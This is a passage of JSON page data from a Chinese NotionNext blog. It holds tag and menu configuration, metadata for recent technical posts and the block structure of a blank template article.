,"文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-7","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容;\n这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。","title":"空白文章7","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:57.241Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":"","blockMap":{"block":{"d43cadd5-38cc-48ce-a44d-188a8215cd7d":{"value":{"id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","version":7,"type":"page","content":["b2c580c4-ce96-432d-b118-a0ad20cbe1c5","deba1e59-6d47-4ada-a314-44559c4f6b0c","441bdeda-2261-415c-9b90-02c122c121e4","bf92f406-3a16-4412-9369-f5edb6003e29","1ddbb042-788f-4005-befc-3c30e63918e6","6fc73c2f-ca27-46c4-9e76-e8f767132e2b","d5803e5d-12ec-4b18-833b-e6822d98fa35","63c97746-0bd9-4d2f-8156-801620c97f5c","78957a63-8c78-4cad-8e88-ea846ae3923e","5410740b-7970-4e09-93dd-615a87d752b1","5cec45b0-794e-4344-812b-b0c8e4740cc9","ad8c852b-45ac-4cfd-a0f8-04e364cc9311","8999dbca-3606-4af4-8f6f-5581cd3e6113","6d026f65-ee53-4d6a-b31b-e7a374565243"],"format":{"page_font":"mono","page_icon":"🗒️","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"683ddb23-90b4-4744-b09c-ddc4dd04ef79","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337112,"last_edited_time":1705630797241,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"683ddb23-90b4-4744-b09c-ddc4dd04ef79","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"b2c580c4-ce96-432d-b118-a0ad20cbe1c5":{"value":{"id":"b2c580c4-ce96-432d-b118-a0ad20cbe1c5","type":"callout","properties":{"title":[["这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"]]},"content":["38d0d577-7b83-4df4-ba9e-c0d0010765da"],"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"043a878a-3031-4020-b1b3-a28ec26edfb4","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337123,"last_edited_time":1705594337123,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"043a878a-3031-4020-b1b3-a28ec26edfb4"}},"38d0d577-7b83-4df4-ba9e-c0d0010765da":{"value":{"id":"38d0d577-7b83-4df4-ba9e-c0d0010765da","type":"text","properties":{"title":[["可以说说你的故事:阻碍、努力、结果成果,意外与转折。"]]},"format":{"copied_from_pointer":{"id":"fb4746a4-0397-4efc-b78b-01981e9364de","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337145,"last_edited_time":1705594337145,"parent_id":"b2c580c4-ce96-432d-b118-a0ad20cbe1c5","parent_table":"block","alive":true,"copied_from":"fb4746a4-0397-4efc-b78b-01981e9364de"}},"deba1e59-6d47-4ada-a314-44559c4f6b0c":{"value":{"id":"deba1e59-6d47-4ada-a314-44559c4f6b0c","type":"text","format":{"copied_from_pointer":{"id":"54458e9f-4300-4058-92eb-d7419f4f3be0","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"54458e9f-4300-4058-92eb-d7419f4f3be0"}},"441bdeda-2261-415c-9b90-02c122c121e4":{"value":{"id":"441bdeda-2261-415c-9b90-02c122c121e4","type":"header","properties":{"title":[["📝 主旨内容"]]},"format":{"copied_from_pointer":{"id":"5c09ccea-bd54-4059-88a8-ea3ad47cfc01","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"5c09ccea-bd54-4059-88a8-ea3ad47cfc01"}},"bf92f406-3a16-4412-9369-f5edb6003e29":{"value":{"id":"bf92f406-3a16-4412-9369-f5edb6003e29","type":"sub_header","properties":{"title":[["观点1"]]},"format":{"copied_from_pointer":{"id":"ab2df020-ed00-4620-9909-69d97e0ad40d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"ab2df020-ed00-4620-9909-69d97e0ad40d"}},"1ddbb042-788f-4005-befc-3c30e63918e6":{"value":{"id":"1ddbb042-788f-4005-befc-3c30e63918e6","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"dbc40871-b732-4cc6-b1dc-b38d3c928707","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"dbc40871-b732-4cc6-b1dc-b38d3c928707"}},"6fc73c2f-ca27-46c4-9e76-e8f767132e2b":{"value":{"id":"6fc73c2f-ca27-46c4-9e76-e8f767132e2b","type":"sub_header","properties":{"title":[["观点2"]]},"format":{"copied_from_pointer":{"id":"83e7d826-96d1-4309-85cc-7378332597e1","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"83e7d826-96d1-4309-85cc-7378332597e1"}},"d5803e5d-12ec-4b18-833b-e6822d98fa35":{"value":{"id":"d5803e5d-12ec-4b18-833b-e6822d98fa35","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"2d5d143c-ff2a-4ded-851e-a7fa40750f69","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337123,"last_edited_time":1705594337123,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"2d5d143c-ff2a-4ded-851e-a7fa40750f69"}},"63c97746-0bd9-4d2f-8156-801620c97f5c":{"value":{"id":"63c97746-0bd9-4d2f-8156-801620c97f5c","type":"header","properties":{"title":[["🤗 总结归纳"]]},"format":{"copied_from_pointer":{"id":"f14c85c5-75ad-4c1d-b8f8-4be24384f916","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"f14c85c5-75ad-4c1d-b8f8-4be24384f916"}},"78957a63-8c78-4cad-8e88-ea846ae3923e":{"value":{"id":"78957a63-8c78-4cad-8e88-ea846ae3923e","type":"text","properties":{"title":[["总结文章的内容"]]},"format":{"copied_from_pointer":{"id":"a3776539-6d71-436a-bb89-fb5acc3f733e","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"a3776539-6d71-436a-bb89-fb5acc3f733e"}},"5410740b-7970-4e09-93dd-615a87d752b1":{"value":{"id":"5410740b-7970-4e09-93dd-615a87d752b1","type":"header","properties":{"title":[["📎 参考文章"]]},"format":{"copied_from_pointer":{"id":"997d7b25-32fd-421f-a3c5-0d0fb0c4d944","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"997d7b25-32fd-421f-a3c5-0d0fb0c4d944"}},"5cec45b0-794e-4344-812b-b0c8e4740cc9":{"value":{"id":"5cec45b0-794e-4344-812b-b0c8e4740cc9","type":"bulleted_list","properties":{"title":[["一些引用"]]},"format":{"copied_from_pointer":{"id":"048841e3-b2d7-49f0-8266-00c984d20b17","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337123,"last_edited_time":1705594337123,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"048841e3-b2d7-49f0-8266-00c984d20b17"}},"ad8c852b-45ac-4cfd-a0f8-04e364cc9311":{"value":{"id":"ad8c852b-45ac-4cfd-a0f8-04e364cc9311","type":"bulleted_list","properties":{"title":[["引用文章"]]},"format":{"copied_from_pointer":{"id":"3adfa1f3-6400-4eaf-a466-63c6185b31ad","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337123,"last_edited_time":1705594337123,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"3adfa1f3-6400-4eaf-a466-63c6185b31ad"}},"8999dbca-3606-4af4-8f6f-5581cd3e6113":{"value":{"id":"8999dbca-3606-4af4-8f6f-5581cd3e6113","type":"text","format":{"copied_from_pointer":{"id":"a881a6bd-d64c-4a11-8cd2-9c0d6ff2eb19","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"a881a6bd-d64c-4a11-8cd2-9c0d6ff2eb19"}},"6d026f65-ee53-4d6a-b31b-e7a374565243":{"value":{"id":"6d026f65-ee53-4d6a-b31b-e7a374565243","type":"callout","properties":{"title":[["有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"4d158723-15c6-449e-becb-ead51335bb31","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","parent_table":"block","alive":true,"copied_from":"4d158723-15c6-449e-becb-ead51335bb31"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed